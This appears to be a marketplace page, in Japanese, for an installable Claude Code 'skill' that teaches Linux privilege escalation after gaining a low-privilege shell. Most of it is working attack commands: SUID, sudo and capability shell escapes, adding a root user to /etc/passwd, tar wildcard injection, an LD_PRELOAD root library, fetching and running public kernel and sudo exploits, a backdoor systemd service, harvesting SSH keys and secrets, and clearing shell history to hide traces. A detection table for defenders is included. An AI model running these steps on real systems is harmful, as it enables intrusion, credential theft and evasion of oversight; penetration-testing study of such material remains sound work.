mcpField
O
offensive-linux-privesc

offensive-linux-privesc

github.com/snailsploitセキュリティ9.7k131 回インストール2 週間前に更新
リポジトリ

offensive-linux-privesc について

低権限の Linux シェルを得たセキュリティ評価担当者向けの権限昇格スキルです。設定不備や脆弱なソフトウェアを段階的に調べ、昇格経路の検証と痕跡の記録を支援します。

主な機能

  1. 01ホストの自動列挙
  2. 02sudo、SUID、ケイパビリティの確認
  3. 03cron とサービス設定不備の調査
  4. 04NFS と Docker の脱出経路の確認
  5. 05カーネル脆弱性の評価
  6. 06経路の検証と痕跡のクリーンアップ

活用シーン

  1. 01低権限 Linux シェルの監査
  2. 02sudo とスケジュールタスクの弱点調査
  3. 03カーネルやコンテナの権限昇格経路の評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-linux-privesc

インストール後、Claude Code で/offensive-linux-privescを入力して読み込まれたか確認します。

詳細

Linux 権限昇格

Linux ターゲットで低権限のシェルを取得しました。目的は、設定ミス、脆弱なソフトウェア、カーネルの欠陥を体系的に列挙して悪用し、root 権限に昇格することです。このスキルでは、受動的な偵察から始めて、信頼性とステルス性を優先しながら段階的に手法を強めていく、体系的な方法を説明します。

すべてのエンゲージメントは、状況を把握することから始まります。現在の権限、システムが公開している情報、防御側から見えるものを把握してください。影響の小さい調査結果を組み合わせて、影響の大きい昇格経路を見つけます。

クイックワークフロー

  1. 自動列挙(LinPEAS、linux-exploit-suggester)を実行し、すぐに利用できる手がかりを見つけます。
  2. まず sudo の権限、SUID/SGID バイナリ、ケイパビリティを確認します。これらは最も成功率の高い侵入経路です。
  3. cron ジョブ、書き込み可能なスクリプト、PATH の優先順位を列挙し、乗っ取りの機会を探します。
  4. /etc/passwd、/etc/shadow、サービス設定ファイル、SSH キーのファイル権限を調べます。
  5. no_root_squash が設定された NFS 共有と、Docker グループへの所属を確認します。
  6. 最後の手段として、カーネルのバージョンを特定し、適用可能なカーネルエクスプロイトを探します。
  7. 昇格経路を検証し、攻撃の連鎖を記録して、痕跡をクリーンアップします。

自動列挙

手動で調査する前に、自動化ツールを実行して、できるだけ幅広く調査結果を洗い出します。出力をファイルにリダイレクトし、オフラインで確認して相互参照できるようにします。

# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out

# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"

# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

LinPEAS の出力をセクションごとに確認します。赤と黄色のハイライトに注目してください。SUID の調査結果は、すぐに GTFOBins と照合します。


SUID/SGID バイナリの悪用

SUID バイナリは、ファイル所有者の権限で実行されます。所有者が root の場合、任意のコマンド実行、ファイル読み取り、またはファイル書き込みが可能であれば、直接的な昇格経路になります。

列挙
# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
GTFOBins を利用した悪用
# If find is SUID
find . -exec /bin/sh -p \;

# If vim is SUID
vim -c ':!/bin/sh'

# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd

# If bash is SUID
bash -p

# If nmap (old interactive mode) is SUID
nmap --interactive
!sh
カスタム SUID バイナリの分析
# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open

# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1

SUID バイナリが絶対パスを指定せずに別のプログラムを呼び出す場合、悪意のあるディレクトリを PATH の先頭に追加して乗っ取ることができます。


Linux ケイパビリティの悪用

ケイパビリティは、root 権限を個別の機能に分割します。cap_setuid が設定されたバイナリは、SUID でなくても UID を 0 に変更できます。

# Find binaries with capabilities set
getcap -r / 2>/dev/null
悪用
# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim (read/write any file)
vim /etc/shadow

# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

ケイパビリティは管理者に見落とされがちです。LinPEAS の出力にも表示されますが、専用の列挙を行う価値があります。


sudo の設定ミス

実際のエンゲージメントでは、sudo のルールが最も一般的な権限昇格経路です。シェルを取得したら、すぐに sudo -l を確認してください。

# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null
NOPASSWD の悪用
# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'

# If sudo allows less NOPASSWD
sudo less /etc/shadow
!/bin/bash

# If sudo allows awk NOPASSWD
sudo awk 'BEGIN {system("/bin/bash")}'

# If sudo allows find NOPASSWD
sudo find /tmp -exec /bin/bash \;

# If sudo allows env NOPASSWD (LD_PRELOAD)
# See LD_PRELOAD section below

# If sudo allows a script you can write to
echo '/bin/bash' > /path/to/writable_script.sh
sudo /path/to/writable_script.sh

# If sudo allows running as another user
sudo -u targetuser /bin/bash
Baron Samedit -- CVE-2021-3156
# Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes/segfaults, it is likely vulnerable

# Exploit (multiple public PoCs available)
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>

# Check target OS for correct offset
cat /etc/os-release

sudoedit におけるこのヒープベースのバッファオーバーフローは、幅広い Linux ディストリビューションに影響します。sudo の権限がなくても、root への直接アクセスが可能になります。


cron ジョブの悪用

cron ジョブは、cron の所有者の権限でスケジュールに従って実行されます。書き込み可能なスクリプト、PATH の設定ミス、ワイルドカード展開が昇格経路を生み出します。

列挙
# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# Use pspy to discover hidden cron jobs
./pspy64 -pf -i 1000

# Check for writable scripts called by cron
for f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\S+'); do
    ls -la "$f" 2>/dev/null
done
書き込み可能な cron スクリプト
# If a root cron job calls a writable script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh

# Wait for cron execution, then
/tmp/rootbash -p
cron での PATH 乗っ取り
# If crontab has PATH=/home/user/bin:/usr/local/sbin:...
# And a cron job calls "backup.sh" without full path
echo '#!/bin/bash' > /home/user/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh
chmod +x /home/user/bin/backup.sh
ワイルドカードインジェクション
# If a root cron job runs: tar czf /backup/archive.tar.gz *
# In the target directory, create files that become tar flags
cd /target/directory
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo '#!/bin/bash' > privesc.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh
chmod +x privesc.sh

# Similar attack with rsync wildcard
echo '' > '-e sh privesc.sh'

# Similar attack with chown (e.g., chown user:user *)
echo '' > '--reference=/path/to/attacker_owned_file'

書き込み可能な /etc/passwd

/etc/passwd が全ユーザーから書き込み可能な場合(重大な設定ミスです)、root と同等のユーザーを直接追加できます。

# Check permissions
ls -la /etc/passwd

# Generate password hash
openssl passwd -1 -salt hacker password123
# Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/

# Append a new root user
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's password hash (more detectable)
# Switch to the new user
su hacker
# Password: password123

# Alternative: use mkpasswd if available
mkpasswd -m sha-512 password123

NFS の no_root_squash の悪用

NFS エクスポートに no_root_squash が設定されている場合、リモートの root ユーザーは共有上で root 権限を保持します。これにより、攻撃者が制御するマシンから SUID バイナリを作成できます。

# On the target -- enumerate NFS shares
cat /etc/exports
showmount -e localhost

# Look for no_root_squash
grep -i "no_root_squash" /etc/exports

# On your attack machine (as root)
mkdir /tmp/nfs_mount
mount -t nfs target_ip:/shared_directory /tmp/nfs_mount

# Create a SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash

# On the target
/shared_directory/rootbash -p

カーネルエクスプロイト

カーネルエクスプロイトは影響が大きい一方で、システムの安定性を損なうリスクがあります。より安全な侵入経路がない場合に使用してください。必ず最初にカーネルのバージョンとディストリビューションを確認します。

フィンガープリンティング
uname -a
uname -r
cat /etc/os-release
cat /proc/version
DirtyPipe -- CVE-2022-0847
# Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102
# Overwrites read-only files by splicing into page cache

# Compile the exploit
gcc -o dirtypipe exploit.c
./dirtypipe /etc/passwd 1 "${replacement_line}"

# Or use the SUID variant
gcc -o dirtypipez dirtypipez.c
./dirtypipez
# Spawns a root shell by overwriting a SUID binary temporarily
DirtyCow -- CVE-2016-5195
# Affects Linux kernel 2.x through 4.x before 4.8.3
# Race condition in copy-on-write mechanism

# The /etc/passwd overwrite variant
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123
# Overwrites root entry in /etc/passwd

# The SUID binary variant (firefart)
gcc -pthread cowroot.c -o cowroot
./cowroot
PwnKit -- CVE-2021-4034
# Affects polkit pkexec (virtually all Linux distros with polkit installed)
# Memory corruption via crafted environment variables

# Compile and run
gcc -shared -fPIC -o pwnkit.so pwnkit.c
gcc -o pwnkit exploit.c
./pwnkit

# One-liner PoC (if available)
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

カーネルエクスプロイトはシステムをクラッシュさせる可能性があります。本番環境のターゲットでは、正確なカーネルバージョンを確認し、まずラボ環境でテストして、ロールバック計画を用意してください。安定性を重視する場合は、DirtyPipe の SUID 亜種または PwnKit を優先してください。


Docker グループからのエスケープ

docker グループに所属すると、実質的な root アクセスが可能になります。Docker では、ホストのファイルシステムをコンテナにマウントできます。

# Confirm group membership
id
groups

# Mount the host root filesystem
docker run -v /:/hostfs -it ubuntu /bin/bash

# Inside the container, access host filesystem
cat /hostfs/etc/shadow
chroot /hostfs /bin/bash

# Create a SUID bash on the host
cp /hostfs/bin/bash /hostfs/tmp/rootbash
chmod +s /hostfs/tmp/rootbash

# Alternative: use docker socket directly
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

LXD/LXC グループへの所属も、同様の攻撃対象領域をもたらします。特権コンテナを構築し、ホストのファイルシステムをマウントします。


LD_PRELOAD と LD_LIBRARY_PATH のハイジャック

sudo で env_keep += LD_PRELOAD または env_keep += LD_LIBRARY_PATH が保持される場合、共有ライブラリを注入して、root として任意のコードを実行できます。

LD_PRELOAD
// preload.c -- compile and load via sudo
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

# Execute with sudo (requires env_keep += LD_PRELOAD in sudoers)
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_command
LD_LIBRARY_PATH
# Find shared libraries used by a sudo-allowed binary
ldd /usr/sbin/apache2

# Create a malicious replacement
# Target a library like libcrypt.so.1
gcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.c

# Execute with sudo
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2

SUID バイナリが読み込む共有ライブラリをハイジャックすることもできます。strace を使って、書き込み可能なディレクトリから読み込まれる見つからないライブラリを特定し、悪意のある .so をそこに配置します。


サービスの設定ミス

root として実行されるサービスが参照するサービスファイルやバイナリが書き込み可能だと、権限昇格の機会が生まれます。

# Find writable service files
find /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null

# Overwrite a writable service binary
cp /path/to/service_binary /path/to/service_binary.bak
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n/path/to/service_binary.bak "$@"' > /path/to/service_binary
chmod +x /path/to/service_binary

# Create a malicious systemd service (if you can write to the service directory)
cat << 'EOF' > /etc/systemd/system/escalate.service
[Unit]
Description=Escalation
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl start escalate.service

機密ファイルの列挙

ファイルから認証情報を収集すると、ラテラルムーブメントや直接的な権限昇格につながる可能性があります。

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# History files
cat ~/.bash_history
find / -name ".*history" -exec cat {} \; 2>/dev/null

# Configuration files with credentials
grep -rl "pass\|pwd\|token\|secret\|key" /etc/ /opt/ /var/www/ /home/ 2>/dev/null
cat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/null

# Backup files and shadow
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
cat /etc/shadow 2>/dev/null
ls -la /etc/shadow

検知/防御側の視点

上記のすべての手法は痕跡を残します。検知対象を理解すると、より慎重に行動でき、防御側チームが監視を構築する際にも役立ちます。

手法検知の兆候
LinPEAS/列挙curl の実行結果を sh にパイプするプロセスの実行、/proc、/etc、/sys への大量のファイルアクセス
SUID の悪用通常とは異なる親プロセスからの SUID バイナリ実行、SUID コンテキストからのシェル起動
ケイパビリティの悪用SUID ではないプロセスからの予期しない setuid(0) 呼び出し、CAP_SETUID の使用に関する監査ログ
Sudo の悪用通常とは異なるコマンドで sudo が使用されたことを示す認証ログ、sudoers ファイルの更新日時
CVE-2021-3156sudoedit のクラッシュログ、コアダンプ、監査ログにおけるヒープ破損の兆候
Cron のハイジャック変更された cron スクリプト(整合性監視)、tar のフラグ名を持つ新規ファイル
/etc/passwd への書き込みファイル整合性監視のアラート、新しい UID 0 エントリ、inotify による監視
NFS 上での SUID ファイル作成NFS マウント上に出現する新しい SUID ファイル、サーバー上の NFS 監査ログ
カーネルエクスプロイトカーネル oops/パニックメッセージ、予期しない root プロセスの起動、クラッシュダンプ
Docker からのエスケープDocker API 呼び出し、ホストマウントを伴うコンテナ作成、docker.sock へのアクセス
LD_PRELOAD環境変数の記録、監査ログにおける予期しない共有ライブラリの読み込み

主なログの場所:

# Defenders should monitor
/var/log/auth.log        # sudo usage, su attempts, authentication events
/var/log/syslog          # system events, cron execution
/var/log/kern.log        # kernel exploits, crashes
/var/log/audit/audit.log # auditd events (execve, capability use, file access)
journalctl -u <service>  # per-service systemd logs

エンゲージメント用チートシート

PHASE 1 -- ENUMERATE
  sudo -l                                    # First command. Always.
  id && groups                               # Docker/lxd group?
  find / -perm -4000 -type f 2>/dev/null     # SUID binaries
  getcap -r / 2>/dev/null                    # Capabilities
  cat /etc/crontab && ls -la /etc/cron.*     # Cron jobs
  ls -la /etc/passwd /etc/shadow             # File permissions
  cat /etc/exports 2>/dev/null               # NFS shares
  uname -a && cat /etc/os-release            # Kernel version

PHASE 2 -- QUICK WINS
  GTFOBins lookup for SUID/sudo binaries     # https://gtfobins.github.io
  sudo vim -c '!bash'                        # Sudo escape
  python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'  # cap_setuid
  bash -p                                    # SUID bash

PHASE 3 -- ESCALATION
  Writable cron script injection
  PATH hijack in cron or SUID binary
  LD_PRELOAD via sudo env_keep
  Docker mount host filesystem
  /etc/passwd append (if writable)

PHASE 4 -- KERNEL (last resort)
  linux-exploit-suggester.sh
  DirtyPipe  -> kernel 5.8-5.16
  PwnKit     -> polkit pkexec (most distros)
  DirtyCow   -> kernel 2.x-4.x
  Baron Samedit -> sudo 1.8.2-1.9.5p1

CLEANUP
  Remove SUID shells from /tmp
  Restore modified files from backups
  Clear command history: history -c && unset HISTFILE
  Remove uploaded tools from /dev/shm, /tmp

主な参考資料

コメント